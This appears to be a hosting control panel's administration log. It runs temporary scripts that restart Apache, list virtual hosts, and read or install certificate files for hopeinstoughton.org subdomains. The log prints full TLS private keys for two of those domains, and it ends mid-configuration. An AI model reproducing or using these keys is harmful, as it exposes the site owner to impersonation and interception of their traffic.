chmod 755 /tmp/pkp581181; /tmp/pkp581181; rm /tmp/pkp581181
2025-08-30 06:00:37:
2025-08-30 06:00:37:
PUT: /tmp/pkp645128
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:00:38:
chmod 755 /tmp/pkp645128; /tmp/pkp645128; rm /tmp/pkp645128
2025-08-30 06:00:38:
.
2025-08-30 06:00:38: Establishing a connection
2025-08-30 06:00:39:
PUT: /tmp/pkp517168
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:00:40:
chmod 755 /tmp/pkp517168; /tmp/pkp517168; rm /tmp/pkp517168
2025-08-30 06:00:40:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-08-30 06:00:40:
PUT: /tmp/pkp419705
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:00:41:
chmod 755 /tmp/pkp419705; /tmp/pkp419705; rm /tmp/pkp419705
2025-08-30 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 1490
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2025-08-30 06:00:41:
PUT: /tmp/pkp684862
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:00:42:
chmod 755 /tmp/pkp684862; /tmp/pkp684862; rm /tmp/pkp684862
2025-08-30 06:00:42:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4 5378
9d:e5:1a:e6:ff:a6:10:a9:29:91:ac:ae:36:c8:90:62
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBkrY18H+SClnHhWYxcv98yhvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjAzWhcNMjUxMTI4MDUwMjAyWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA6UipjSb0cOqagJTAsYpATGhxiDOJyhlXrfO9uuJELUn0QZcs
dNapo5okVhk02ztWez1uuojOIwtlbfYRw/jadqs7SxUdeSTXKb4Xi+gmX6DUwRs/
D0lRvQYLIXbW1KaFPbsO3lN0nLGUEkl8T2mEiVMkEgH+y1CGpRebg8HnNBdXNsc+
0xBCXW04TVTqLp9ETYUK5t8HT9Cvm3ySDiL+xhju8SLayPvLGNq+UndHb4eDRH5l
AY0oZF0LssBeFOCJOajVF037clkTdcEvC8bAH7mTp+tCfrzcLO9U2cbATkGuXIGb
pDP3BEbQU0/vPwLb4CC4qiIwHYXcxCBZ3tadFwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBRbtYY0Far7aVzfQAEG3Ng1yQRwTTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+
P+AAAAGY+ZAyiAAABAMARjBEAiAuArqIBOA8XXZzUZOT5G/09ddmJh9jnB8XXaw/
eOsv1gIgTghq1FAU46eezIcRmPu0iVqh1aXyEEnQoYcj4CA73isAdgDd3Mo0ldfh
FgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZj5kDKiAAAEAwBHMEUCIQDTQo9v
TgDrjdlMss/2F1JwI0QPlcldcoEy2rl9aL89HQIgc+qx4IcBJNZ0hIDSpm/XZR3X
W+4/pAPp8aCAMmCeCQAwDQYJKoZIhvcNAQELBQADggEBAEkQQvj5GkmcpItbw05G
jKWnXjeIPh0IeX/ZHyyojl4c6XLUsnkeckL7LWwmOqHkoDHL1qZLoLjsu21jCkj6
noyxuAFf8wfRh3BzVd+QqSfGZu4BQBaC8ZuJyf4kzcjb/Sfh7XIjNdiwToO+1UAo
2IWK4n5HnKi5gZkJJ5pv3Ct0Il4LFAfcK0sIzE6XUvccwa4AimlgulvzlqL9+Ud/
r4L53TCumrdcYR8RS7dtK+mgmrf5w9L9SajA66blgORZ90qe8IadG3LmKnYQw/R0
JrKoFIsxdhRWKheG/2YeybTX3Wo0uDL3HzZfNtslB0uiYyBnEJBOqUEHDdetouuN
JLU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDpSKmNJvRw6pqA
lMCxikBMaHGIM4nKGVet87264kQtSfRBlyx01qmjmiRWGTTbO1Z7PW66iM4jC2Vt
9hHD+Np2qztLFR15JNcpvheL6CZfoNTBGz8PSVG9BgshdtbUpoU9uw7eU3ScsZQS
SXxPaYSJUyQSAf7LUIalF5uDwec0F1c2xz7TEEJdbThNVOoun0RNhQrm3wdP0K+b
fJIOIv7GGO7xItrI+8sY2r5Sd0dvh4NEfmUBjShkXQuywF4U4Ik5qNUXTftyWRN1
wS8LxsAfuZOn60J+vNws71TZxsBOQa5cgZukM/cERtBTT+8/AtvgILiqIjAdhdzE
IFne1p0XAgMBAAECggEBANNhvADi42vNqOIJ5/D3zPtvSDCaQqiV/hTpX2oPzKcc
8+7bBLV6LYzJB1Pc00AzrFFPgR4VCHRIx0e0SLTCsXIGBlwqbeJvt2djkAJ+AQd1
vFKeVa2MSjx1VXClNlTJ7sHY1cgu5uN1JS7M1489lZK5e1214SJpfRfrJEdnVBCl
ushhGDUeeoGtvEGgE9ond2pL/0EATEUYs5dxFC3ZEzFgrtPgPdBTradIVb5/BVRT
t1yIIbmDvgq0X/30xgkA1BSx8EoYFg9MoQFSXMe8QDwcYBhymUOEmE9GKWu8x9tn
QuD1IVPrZpFBY+V2zA72627VP3a2oED7ERp+NLv0/UECgYEA9TLyl9zm/jm2Cxtw
XUcVR0pr8026Hn0KJRwOtKo/O7BNYqfNZUNUTABmet/VJoU1r3OURU34cnAbb2yD
EqA5Bi+Y5VdnRtwCtrl2Sc/uysJud/i80YgDmOw95FbASGQtN9C/vaEjYOiCYjK6
liV6GXbSu2DPamhxnYyX3yn5wA0CgYEA849ZmT5Hr4hZRrfkY4tf1oQ9FyDaoqcX
0ymAOyGviyukttvXH9pZUn2Uc/oCpG+TD8nhnOsMLVJcq+MaIodZ9ldkPJrKh07V
V/Nau7yC+0txiyB1/si6Chckc7YBYh4XOr5rVBeiJZ/+AH8rtOFgOfRSCCIEE5Tj
VbaWczahpLMCgYEAjPXZGQzZjtVGnmQL2NQAm5dhL+JDWTuxFVxn59zntTzJgCnP
nqNyVq70OzdqplZ2YoMjfiQw7DkezJOpVo/duHysfUweB1J8DOfZ5N0w/keAkl/g
zORQjR1jB14H9JYCmM/dKvr0B8YjDqjzM1YgN3tj8mzZUObySgyFUroi5hECgYEA
igau7B1TWrKWhXEpSRBvG46NYFIKFStEYTKfrOMGLIRrMAWeADspa4onWyJP5Qgl
+0iZRugdWoHWasKkyPSTkvsrnvzJ0axnUxRiUwod4HN8wS+ALwdqBtXenoSCfCw5
Vd0bzegmx9PHiliHWFZwxecjpeBBFyfFPYnf8SMAr+kCgYEA03tqMQl+I29z8bs1
6Uh2XV0Youv1SHY4ZfqQnjv8xomMWqGBk3Kbbw0WMebUujylCIrtvVya1OVkUpnC
a2gyd8QUDxH6fXd4itF3dezQBAxBH15UpuqcNmdHMih5bJQ9tvzwcfFeOI/DLPr2
kF99u+66KFHLeGfRG04zheMFXlo=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:00:42: Establishing a connection
2025-08-30 06:00:43: Establishing a connection
2025-08-30 06:00:44:
PUT: /tmp/pkp422540
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:00:45:
chmod 755 /tmp/pkp422540; /tmp/pkp422540; rm /tmp/pkp422540
2025-08-30 06:00:45:
0
2025-08-30 06:01:10: Establishing a connection
2025-08-30 06:01:11:
PUT: /tmp/pkp689255
#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7
cat > $temp_file <<'endmsg'
43:b5:94:ac:57:b5:7b:ab:e2:79:8a:40:e9:45:cc:ba
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBgUyjzAQeP1QQJ/BTK+so8UnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjM5WhcNMjUxMTI4MDUwMjM4WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0dmR0QyCM3Xhtvl28Ix9pO8HrGjWzhHTCgx09WV2lhIKcqgg
KrrOPwgUwYSodDeunaBkngBezLJrkGOKPTkMDbT/ocmCNAPhiEP98/x3hWmjCTKy
kaUmuWJI4XTLrpQTGH8j0Tx2qn5NJebnN6RjIBffGiy6UZoUbFg3DQ3Rsn3mMQAv
3B6zFTLKELsDYEblGFLxOj/Whtox2240QpKp9OaWJH6jFu7v8PVs+yp5/uac7Paa
ODuHEVNiqQsIca2BjA35rSFEHDf93QVvIkcxIfz7/1jSbyquA3JuiUaFljyQtwaf
H/MjMFKyDaYMwaSSLB59JgxV+60nY/4OwvfjlQIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSzbDH+UUkBiJITRW/mVgekYnrsgjAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy80MC5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/
4AAAAZj5kL6eAAAEAwBHMEUCIQCg3t/UnXFhHKZX/bxSz1VDqhj5YJ+CSG20Ao9I
5MaZXwIgEuqYtkuKXbPNIR4Ox3EY9w7QZyhU9sqaWeVTYDt4i20AdgDM+w9qhXEJ
Zf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kL6qAAAEAwBHMEUCIQDb7Ba+
fKIPGI+MoJPrgIMlGMj5WlqeIfY41NhDubWW/AIgENGc1IijeQXwKi9fXjQ53TtP
j/bVEd9CY9zZuRMSPoIwDQYJKoZIhvcNAQELBQADggEBAM0vnEJ75vnh/qqe0ffK
wXinaVACNVpF2sgUBpTH8lj4qtYuU98znJR68P3UiH95hNyQ606oVCF/dEaGNwEW
7ib278et1oxoBEUNk+/RC7DDJMmAVk+OBa9dr7W2KN/4t9RcTzjTZExcF3mc7ckI
IRiz7D7NQbcWwwDew9kGLuLAKi/zzwp31YwmvT+DIgi/rRnoiMkEsva05ENd4xYW
5ML8LJ7c2m+a38Cu6d9k7RBS6yVHEk+jYKlfUNsfohnmW1jRRVxwIi6kl4k8qqF4
ndbUsZe4KkfO9agqfpuJU7PhG5mD1Qn9LcGVabgzpAmSX7V4G8bgyeA1XmFFYeRw
E+o=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR2ZHRDIIzdeG2
+XbwjH2k7wesaNbOEdMKDHT1ZXaWEgpyqCAqus4/CBTBhKh0N66doGSeAF7MsmuQ
Y4o9OQwNtP+hyYI0A+GIQ/3z/HeFaaMJMrKRpSa5YkjhdMuulBMYfyPRPHaqfk0l
5uc3pGMgF98aLLpRmhRsWDcNDdGyfeYxAC/cHrMVMsoQuwNgRuUYUvE6P9aG2jHb
bjRCkqn05pYkfqMW7u/w9Wz7Knn+5pzs9po4O4cRU2KpCwhxrYGMDfmtIUQcN/3d
BW8iRzEh/Pv/WNJvKq4Dcm6JRoWWPJC3Bp8f8yMwUrINpgzBpJIsHn0mDFX7rSdj
/g7C9+OVAgMBAAECggEBAI0kJ8YSArR38dNuYEgURiGbv25/qRI6vNXCYRv4HVV8
VtidKd1zfWq5lbQ+9EoOdXyBN4tptlk5G82mlYDuEKRbe6Amd1Ni1Nsg1/q1cPIj
hcuW9LGvAaeoalpxgtktsNZGFSIS58FuZ5c5gYRUJXOdeqoRMVPXLStd/dDi3YqN
mBnbHV4uRc/5ZvC8vrjNnfLl3ZOyZ53509VjRv2XfuZdEjjPcDhl2ESrE5K3YuzF
WyWfg0oRb8M5joOPqvFu1pDLQ9QZbX7YXsDmnEwjtaEwZ4jE1omFpGrV2sTMc/nF
UNYPlBlAUMhb/A/MyqOqHYIRpK+a2HlbeyjILhzyurUCgYEA/jzl2ODiq5VGRGqG
K+fNj68liJyEvuz0Oef8ozcSlxEfTeFKukvvHmGPrq2MjcuNQOgpxDvzIeQqueXa
UPFG+DjQu9krfzh8YzAbiZpAMx6W+DBwD/kEW3WJ965+IU7f8wubKDoIKtji0jg/
r28r2yb9lu7//kn9omgwH/PpdScCgYEA003pqecc2nKQmPEZZzcToTL1Dx8F7djV
mPyzVlLPlbvE3OOyO89ZUubTSyvltWXPng8QfazaCwZMGwAT5s+aJmLqU4733jiv
Am9pybsoo01z9f2W/BKFvoYFAYFRn9v1EOA3Ng43J/AfzObM/aX7kAgQ/MnQGSeu
mU2soznYLuMCgYAEltbTTmPpEv28uGuJmVqVkGTODX078Q0Liot96r2UKoP1JO7z
Y/GCC+LLFWjnGliHZmlymF5wKy02Q9boBSLx0hy6d1YYqs1cAP9OQZGNGq1A96be
MvGIMRv3c5flRAY43enEFSAWnemiP8+ufAQ/pXmIYvIOBgnlB5puyTlamwKBgF7n
gIpB9jCbAhzfNNSp5RQiqfRXr7cLC6yB2x5rZTbQNfQsBHJeh7T3XXFGzw4xIxXP
mE2J5AjNlEMQPuAM4CRbivlqniNd/CSw26eyeucVs36JnlWrEAzpbrglV/7fsOsa
eVG7AsTaUb4a73kBIsKnDNIs5l1V+FJ8k4xgP5uXAoGBAMp+VK8nMm0wOZkihWSZ
aim6mTRyRR6hkUvspfeHsVsiiukdxuUK0IQic3RaaIMFXBGWq4utVEanmK9n4LS5
qZSLH0+mlNC62Nb5XDpXba/KNeH350qquwXuMO0ai+tLY/pLGqCw/eTvS2wLDoSu
GPMxjnHn58IAuv27weH74v2B
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:01:12:
chmod 755 /tmp/pkp689255; /tmp/pkp689255; rm /tmp/pkp689255
2025-08-30 06:01:12:
dir=/etc/ssl/certs
2025-08-30 06:01:12:
PUT: /tmp/pkp601518
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:01:12:
chmod 755 /tmp/pkp601518; /tmp/pkp601518; rm /tmp/pkp601518
2025-08-30 06:01:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
